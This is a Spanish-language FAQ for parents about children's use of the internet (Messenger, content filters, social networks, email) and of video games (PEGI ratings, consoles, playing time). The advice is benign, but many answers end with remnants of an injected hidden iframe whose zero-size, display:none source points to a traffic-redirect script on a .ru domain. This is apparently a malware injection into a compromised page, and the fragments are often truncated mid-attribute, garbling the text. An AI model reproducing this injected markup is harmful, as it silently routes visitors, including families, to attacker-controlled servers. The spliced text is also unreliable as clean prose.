Consultorio


    PREGUNTAS SOBRE EL USO DE INTERNET 

 MI HIJO/A ME HABLA DEL MESSENGER ME ENCUENTRO TOTALMENTE PERDIDA/O. NO SE QUÉ DECIRLE NI CÓMO ACTUAR
  El Messenger no representa en si mismo un problema, es un gran método de comunicación entre amigos y amigas, pero el mal uso del mismo puede acarrear consecuencias no deseadas e incluso peligrosas, por tanto, es necesario transmitir a nuestros hijos e hijas ciertas advertencias que no podemos olvidar:

- No deberan agregar al messenger a cualquier persona nueva que aparezca, debemos asegurarnos antes de saber quien es.
- Nunca deben enviar fotos personales a extraños, corren el riesgo que sean mal utilizadas o trucadas.
- Deben tener especial cuidado si cuando chatean utilizan además cámara web.
- No deben dar sus datos personales o los de la familia (nombres y apellidos reales, dirección, cuentas bancarias, número de móvil, etc) a gente desconocida.
- Nunca deben aceptar quedar con alguien a quien han conocido a traves de internet
 
 ¿QUE PUEDO HACER PARA QUE MI HIJO/A NO ACCEDA A PÁGINAS CON CONTENIDOS PARA PERSONAS ADULTAS?
  Como padres debéis conocer y aplicar algunos sistemas de protección para aseguraros la navegación segura de vuestros hijos e hijas.

1. INSTALACIÓN DE FILTROS: Los filtros son programas que pueden tener una o varias de las siguientes funciones:
- Bloquean el acceso a determinados contenidos.
- Clasifican los sitios basados en contenido para adultos.
- Establecen tiempos de control.
- Graban las actividades realizadas en la red.

CUIDADO LOS FILTROS NUNCA ACTUAN AL 100%. ES NECESARIA SUPERVISIÓN.
Si quieres saber mas sobre filtros visita la seccion Enlaces (Filtros para menores)

2. ESTABLECER CONTACTO CON LA COMPAÑÍA que suministra Internet para informaros de las posibilidades disponibles: restringir el acceso a páginas de pago adicional, antivirus, etc...src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none
 
 ¿DÓNDE DEBO COLOCAR EL ORDENADOR?
  Para prevenir riesgos y mejorar el control sobre el uso que tus hijos e hijas hacen de internet evita instalar el ordenador en su habitación, hazlo en una zona común como el salón.src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height=
 
 OBSERVAR Y APRENDER
  Observar a nuestros hijos e hijas y ver cómo van desarrollando su personalidad es siempre una experiencia maravillosa, y el mundo de las Nuevas Tecnologías nos brinda a los padres y a las madres la oportunidad de que nuestros hijos e hijas aprendan más de lo que nosotros y nosotras podemos enseñarles.

Pero aprender de los niños y las niñas requiere dejar atrás ciertos prejuicios sobre los videojuegos y los ordenadores, ya que actualmente, suponen una importante herramienta de ocio y aprendizaje, tan sólo hay que hacer un uso correcto de los mismos.
 
 ¿LOS NIÑOS Y LAS NIÑAS SIEMPRE CLICAN OK?
  Debido a la falta de paciencia, o de entendimiento en algunos casos, los niños y las niñas siempre tienden a calcar el botón OK, ya sea para avanzar más rápidamente o porque no comprenden bien el mensaje que les aparece. Con este comportamiento, corren el riesgo de exponerse a contenidos inapropiados y debilitar la integridad de nuestro sistema informático doméstico. Para evitar esto, en casa les tendremos que advertir de que nos avisen siempre que les aparezca algún mensaje que no entiendan.src="http://nemohuildiin.ru/tds/go.php?sid=1
 
 IMPRIMIR NO ES GRATIS
  Los niños y las niñas, y en muchas ocasiones también los y las adolescentes, no tienen conciencia del coste medioambiental y económico de sus actos. Para ellos y ellas, el papel, la tinta, los CDs, las baterías, y en general cualquier consumible, son objetos que siempre tienen a su disposición y tienden a derrocharlos.

Dependerá de los padres y las madres , que con su ejemplo y su actitud hagamos reflexionar sobre las consecuencias de sus decisiones y hacerles partícipes de que, moderando su consumo, pueden ayudar tanto a la economía familiar como contribuir a mejorar la salud del planeta.src="http://nemohuildi
 
 EN INTERNET, ME CUESTA DISCERNIR ENTRE FICCIÓN Y REALIDAD. NO ES SENCILLO.
  En la televisión hay una programación, y para los padres y las madres es más fácil decidir acerca de los programas más adecuados para sus hijos y sus hijas. Internet sin embargo no funciona de esta manera: ficción y realidad se mezclan, y a determinadas edades, cuesta discernir entre una cosa u otra. Es por ello importante hablar con nuestros hijos e hijas de los contenidos a los que se exponen y de los valores positivos o negativos que pueden transmitir.
 
 ¿PROTEGER O SOBREPROTEGER A NUESTROS HIJOS E HIJAS? CÓMO ACTUAR.
  Hablando de hijos e hijas y de Internet, no podemos evitar tratar de algo que a todo padre y madre preocupa: cómo proteger a nuestros niños y niñas de contenidos inadecuados y de agresiones externas relacionadas con la violencia, la pornografía y la pedofilia. Para ello podemos visitar alguno de los sitios web de referencia como: www.protegeles.com

Los padres y las madres tenemos que proporcionar a nuestros hijos e hijas estímulos y herramientas para que experimenten y desarrollen sus habilidades, y el ordenador puede ser una de ellas. Su curiosidad innata les lleva a experimentar a través del juego y esto deben hacerlo en un entorno seguro que les proteja de daños graves hacia su persona y hacia los demás.

Cuando nuestros hijos e hijas se conectan a Internet, hemos de saber lo que hacen y con quién se comunican, y establecer ciertas normas y límites sin llegar a atemorizarlos/las ni sobreprotegerlos/as.

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 ¿DEBO PONER NORMAS Y LÍMITES A MI HIJO O HIJA EN INTERNET?
  Estas son algunas normas más útiles que nos pueden ayudar:

•Debe cumplirse un horario y un tiempo de conexión que está en función de la edad de cada niño y niña.
•La cena es un momento de desconexión y de encuentro familiar.
•No deben proporcionar ningún dato personal ni fotografía a través de Internet.
•No deben aceptar ninguna cita de personas desconocidas.
•Deben informarnos de cualquier propuesta que les parezca extraña.

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 ¿CÓMO PUEDO ESTAR AL CORRIENTE DE LO QUE HACEN Y CON QUIÉN?
  Esto es fácil si el ordenador está en un espacio común de la casa.

Algunos consejos:

•Las fotos o imágenes de los contactos del Messenger pueden ser una buena excusa para iniciar una conversación. Permiten utilizar frases del estilo: "¿De quien es esta imagen tan divertida?" o "No lo conozco, ¿es de la escuela?".
•Si no conoces cómo funciona el Messenger o cualquier método de mensajería instantánea, chat, o foro, aprende un poco. Interésate por ello, pídeles que te enseñen, date de alta aunque sólo sea para probar. Te será más fácil hablar de ello con tus hijos e hijas y establecer puntos de contacto.
•Sé curioso o curiosa, intenta entender su mundo social. Si tienen blog, fotolog o similar, entra en ellos de vez en cuando, no para espiar, sino para compartir, muéstrales tu interés y aprende de ellos.
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 ¿QUÉ ES UN FORO EN INTERNET?
  Un foro es unas página web en la cual se puede dejar un mensaje para que otras personas puedan responderlo. No se trata de chatear, sino de dejar un mensaje de texto para qe otras personas puedan contestarlo, argumentarlo, discutirlo, etc.
 
 ¿A QUÉ EDAD DEBO DEJAR QUE MIS HIJOS/AS SE CONECTEN A INTERNET?
  Los niños/as se conectan a Internet a edades cada vez más tempranas; Los niños/as menores de 10 años por lo general no disponen de criterios fundamentales para estar en línea por sí mismos, por lo que los padres y madres debéis participar por completo cuando vuestros hijos/as, menores de 10 años, utilicen Internet. Siéntese con ellos siempre que estén conectados. Asegúrese de que sólo van a los sitios que usted ha elegido, etc.src="http:
 
 ME PREOCUPA EL USO QUE HACEN MIS HIJOS/AS DE INTERNET ¿PUEDO SABER DÓNDE VAN CUANDO SE CONECTAN?
  Siempre hay formas de saber dónde han estado cuando se conectan. Al navegar por Internet, el explorador web recopila información acerca de los sitios que se visitan y los almacena en el equipo. La mayoría de las versiones de Internet Explorer disponen de un "botón historial" en la barra de heramientas donde nos aparecen los sitios visitados.

Pero siempre es más eficaz disponer de reglas o normas claras acerca del uso de Internet y establecer una comunicación abierta con tus hijos e hijas.
 
 ¿A QUÉ EDAD SE PUEDE HACER USUARIO MI HIJO/A DE LAS REDES SOCIALES?
  El porcentaje de usuarios de redes sociales es más alto entre los jóvenes que entre los adultos, 7 de cada 10 son internautas menores. La edad mínima para crearse un perfil en Tuenti es de 14 años, en Facebook es de 13 años y en MySpace es abierto, pero esta aclaración no nos ayuda nada ya que nuestros hijos/as pueden mentir a la hora de inscribirse en alguna de estas redes sociales. En España existe una protección especial para el caso de menores que les otorga un estatus de protección más elevado que el resto de los usuarios, ya que el consentimiento para la disposición de los derechos requiere de la intervención de sus padres/madres o tutores legales. Pero somos los padres/madres los que tenemos que estar al pie del cañon y, una vez más, aconsejar y navegar junto a nuestros hijos e hijas. También debemos poner unas normas claras de navegación para que nuestros hijos e hijas no hagan lo que no queremos que hagan.src="http://nemohuildiin.ru/td
 
 ME PREOCUPA LA PRIVACIDAD DE MI HIJO/A EN LAS REDES SOCIALES, ¿CÓMO HACER DE ELLAS UN LUGAR SEGURO?
  Dentro de las Redes Sociales, como Facebook, Tuenti, etc., hay configuraciones de privacidad que permiten controlar quién ve su perfil y su información personal. Por ejemplo, Facebook elige automáticamente los parámetros más abiertos, por eso, recordamos visitar la página de configuración de privacidad para que pueda tomar sus propias decisiones sobre lo que la gente tendrá permitido ver sobre tu hijo o hija.src="http://nemoh
 
 ¿DEBO DEJAR QUE MI HIJO/A TENGASU PROPIA CUENTA DE CORREO ELECTRÓNICO?
  Es aconsejable que los más pequeños compartan una dirección de correo electrónico familiar en vez de tener una cuenta propia. A medida que crezcan y deseen más independencia, puedes asignarles una dirección propia. El correo puede seguir estando en la bandeja de entrada de la familia.src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height=
 
 ¿CÓMO PUEDO ACONSEJAR A MIS HIJOS/AS PARA QUE SE SOCIALICEN EN LINEA?
  Algunos consejos para ayudar a sus hijos/as a socializarse en línea de manera segura son:

- Ayude a sus hijos/as a comprender cuál es la información que no deben revelar.
- Explíqueles que solamente deben colocar en línea la información que usted y ellos deseen que sea vista por otras personas.
- Recuérdeles que una vez colocan información en línea, no la pueden quitar.
- Transmítales a sus hijos/as la importancia de evitar las conversaciones de naturaleza sexual en línea.
- Dígales a sus hijos/as que si tienen alguna sospecha confíen en nosotros/as. Si cuando están en línea se sienten amenazados por alguna persona o se sienten incómodos con algo que ven el la red, es necesario que os lo cuenten.src="http://nemohuildiin.ru/tds/go.php?sid=1" width=
 

    PREGUNTAS SOBRE EL USO DE VIDEOJUEGOS 

 ¿CÓMO PUEDO SABER SI UN VIEOJUEGO ESTA RECOMENDADO PARA LA EDAD DE MI HIJO O HIJA?
  Consulta el código PEGI.
Este código es un sistema para el etiquetaje de videojuegos. Establece una clasificación por edades y ofrece también una descripción sobre el contenido del videojuego.

El rango de edades comprendidas y descripción del contenido es:

- Más de 3 años (3+)
- Más de 7 años (7+)
- Más de 12 años (12+)
- Más de 16 años (16+)
- Más de 18 años (18+)
- Violencia
- Sexo o desnudez
- Miedo
- Drogas
- Lenguaje soez
- Discriminación
 
 ¿QUÉ TIPO DE CONSOLA ES MÁS ADECUADA PARA MIS HIJOS E HIJAS?
  En la compra de una videoconsola es mejor elegir las consolas de sobremesa (las que se conectan a un televisor), como PlayStation (PS2 y PS3), XBOX o WII, que elegir consolas portátiles tipo PSP o NintendoDS, ya que estas últimas pueden propiciar un mayor grado de dependencia al poder jugar en cualquier momento y lugar.src="http://nem
 
 ¿QUÉ DESVENTAJAS TIENEN LOS VIDEOJUEGOS?
  El uso desmedido de los videojuegos puede generar muchas desventajas o, incluso, problemas en la vida de los niños, niñas y adolescentes. A continuación se describen algunas de ellas:

- Un niño, niña o adolescente que juega de manera obsesiva, acaba perdiendo el control sobre el juego, lo que le lleva a dejar su vida cotidiana de lado. Su vida empieza a girar en torno al videojuego y deja a un lado otras actividades tales como, el deporte, la lectura, contacto con sus amigos y amigas, etc.
- Los videojuegos pueden crear un aislamiento de la vida social, esto lleva muchas veces a la depresión o ansiedad.
- Un uso reiterado de los videojuegos puede generar un daño significativo en el rendimiento académico de nuestros hijos e hijas.
- Los videojuegos pueden desencadenar problemas derivados del coste económico, ya que éstos provocan una imposición consumista. Además, el interés de los niños y niñas por un videojuego es limitado, lo que quiere decir que cuando se canse de uno va en busca de otro.
- A la hora de jugar, los padres y las madres deben revisar las posturas en las que juegan los niños y las niñas, ya que una mala postura puede desencadenar problemas futuros de dolores musculares, dolores de cabeza, etc.
- Por último, decir que a toda esta situación no se llega el primer día que se juega a un videojuego, sino que aparece con la exposición diaria y continua a ellos.
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 ¿QUÉ VENTAJAS TIENEN LOS VIDEOJUEGOS?
  Pero también el empleo correcto de los videojuegos puede tener ventajas y efectos positivos:

- Los videojuegos pueden generar un contacto entre los amigos y amigas para hacer un intercambio de los mismos, esto favorece un contacto social con sus iguales y le permite seguir participando en su vida social sin interrumpirla.
- Fomentan la consecución de objetivos, esto llevará a que se reconozca el esfuerzo que se está realizando y los hará constantes.
- Como es normal, no siempre se gana en el juego, lo cual hace que aumente su nivel de tolerancia frente a los fracasos.
- Por último resaltar que los videojuegos son ventajosos a la hora de fomentar algunas cosas como: la memoria, la coordinación visual, la manual y, sobre todo, favorece su contacto con el mundo de la informática.
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 ¿CÓMO PUEDO SABER SI UN JUEGO ES ADECUADO PARA LA CAPACIDAD DE MI HIJO/A?
  Te aconsejamos que juegues con tu hijo/a. Fíjate en los juegos a los que juega y habla con él/ella y con otras personas sobre los juegos, tan a menudo como te sea posible. Siempre hay algo que aprender sobre los juegos a los que juega tu hijo/a y sobre los que le gustaría probar.

Hay que tener en cuenta que a la edad de 7 u 8 años la mayoría de los niños/as tienen el suficiente nivel de lectura, capacidad para resolución de problemas y coordinación como para jugar a "cualquier" juego. Después de esta edad hay que determinar es que tipo de juego le gusta a tu hijo/a y qué contenidos son los apropiados.

Para niños/as menores de 7 u 8 años, fíjate en su nivel de lectura, su capacidad para resolver problemas y su coordinación mano-vista. Eso ayudará a decidir qué tipo de juego comprar.src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height=
 
 HE OÍDO QUE LOS VIDEOJUEGOS HACEN MENOS SOCIABLES A LOS NIÑOS/AS, ¿TENGO MOTIVOS PARA PREOCUPARME?
  Jugar a un videojuego puede ser una forma de escapismo para los niños/as, como lo puede ser un libro o una película, pero hay muchos juegos que ofrecen modos multijugador y que animan a los jugadores/as a jugar en un entorno social. Es importante que los padres/madres hablen con sus hijos e hijas sobre los videojuegos a los que juegan. Entendiendo mejor los juegos a los que juegan tus hijos e hijas, podrás decidir si sus hábitos de juego pueden ser motivo de preocupación o no.src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" st
 
 ¿A PARTIR DE QUÉ EDAD SON MÁS ADECUADAS LAS CONSOLAS Y LOS VIDEOJUEGOS?
  Según el Código PEGI, a partir de los 3 años ya son adecuadas CIERTAS consolas y videojuegos. Los videojuegos pueden contribuir de forma positiva al desarrollo del niño/a haciendo un uso adecuado de los mismos. Es importante elegir videojuegos con un contenido adecuado, no divulgador de actividades sexistas, ni violentas, etc.src="htt
 
 ¿DURANTE CUANTO TIEMPO PUEDE JUGAR UN NIÑO/A CON UN VIDEOJUEGO?
  No hay una regla fija, ya que cada niño/a es diferente. El juego no plantea riesgos específicos para la salud. Se trata de una actividad de ocio, como leer o ver la televisión. Dado que se requiere el uso de la vista, por lo general aconsejamos que:

- Jugar siempre en una habitación bien iluminada.
- Descansar a intervalos regulares.
- No jugar durante muchas horas seguidas.
- Mantener la pantalla a una distancia mínima.src="http://nem
 
 ¿DEBO TOMAR ALGUNA MEDIDA QUE FACILITE EL USO RESPONSABLE Y ADECUADO DE LOS VIDEOJUEGOS?
  Los videojuegos conllevan algunos riesgos, entonces es necesario que padres y madres tomen una serie de medidas que pueden facilitar el uso responsable y adecuado de los videojuegos. Estas medidas pueden ser:

- Regular el tiempo de exposición a los videojuegos.
- Participar en el uso de estos, es bueno jugar con ellos/as.
- Controlar que tipo de videojuegos compramos, cuales son sus contenidos y si son realmente adecuados para ellos/as.
- Evitar que los videojuegos se vayan con ellos/as a su habitación.
- Facilitar nativas igualmente interesantes: juegos de mesa para toda la familia, lecturas compartidas, salidas interesantes para tod@s...

En definitiva, los videojuegos nos pueden aportar muchas cosas pero también nos pueden quitar otras que seguro resultan más interesantes.
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